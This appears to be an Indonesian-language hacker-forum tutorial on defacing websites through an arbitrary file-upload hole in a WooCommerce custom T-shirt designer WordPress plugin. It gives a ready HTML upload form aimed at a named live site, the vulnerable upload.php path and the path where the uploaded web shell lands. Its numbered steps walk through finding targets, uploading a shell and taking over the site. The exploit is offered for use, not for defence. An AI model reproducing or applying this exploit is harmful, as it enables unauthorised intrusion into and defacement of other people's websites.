Tutorial Deface Wp-Woocommerce Custom Tshirt Shell Upload Vulnerability

Tutorial Deface Wp-Woocommerce Custom Tshirt Shell Upload Vulnerability
yah kembali lagi dengan saya :3 kali ini gua bakal share tutorial deface :v
Langsung aja ya , mari disimak tutorialnya..
langsung ke live target ane ajayaa :)
kalo pas di exploit eror,berarti itu vuln:) copy crsfnya
upload deh shellnya :v
kalo gitu berarti shell berhasil di upload :V
mudah kan? :3 kalo udah gini terserah mau diapain:)
Bahan-bahan :


HTML Exploiter save dengan format .html

<form enctype="multipart/form-data"
action="http://www.therecordsticking.co.uk/…/template-black/designi…" method="post">
<input type="jpg" name="url" value="./" /><br />
Please choose a file: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>

Dork : Use Your Brain :) dork?use your brain :)
Exploit : /wp-content/plugins/woocommerce-custom-t-shirt-designer/includes/templates/template-black/designit/cs/upload.php
Shell Location : /wp-content/plugins/woocommerce-custom-t-shirt-designer/includes/templates/template-black/designit/cs/uploadImage/(Nomor random).php

Tutorial

1. Ketik dork, buka site target dan masukan Exploitnya. Jika ada tulisan error berarti itu vuln.
2. Buka html Exploiternya dengan Notepad
dan ubah http://SiteTarget/wp-content/plugins/woocommerce-custom-t-shirt-designer/includes/templates/template-black/designit/cs/upload.php dengan web target.
3. buka kembali di html exploiter di browser. Pilih shell dan upload.
4. Setelah upload shell maka kita akan dapet nomor acak
5. Buka shellnya di /wp-content/plugins/woocommerce-custom-t-shirt-designer/includes/templates/template-black/designit/cs/uploadImage/(Nomor Acak).php dan silahkan deh , terserah mau di apain.

./Mr.greetz69 - DiffMuRis dah  - PhantomGhost - Red White Spirit Team dah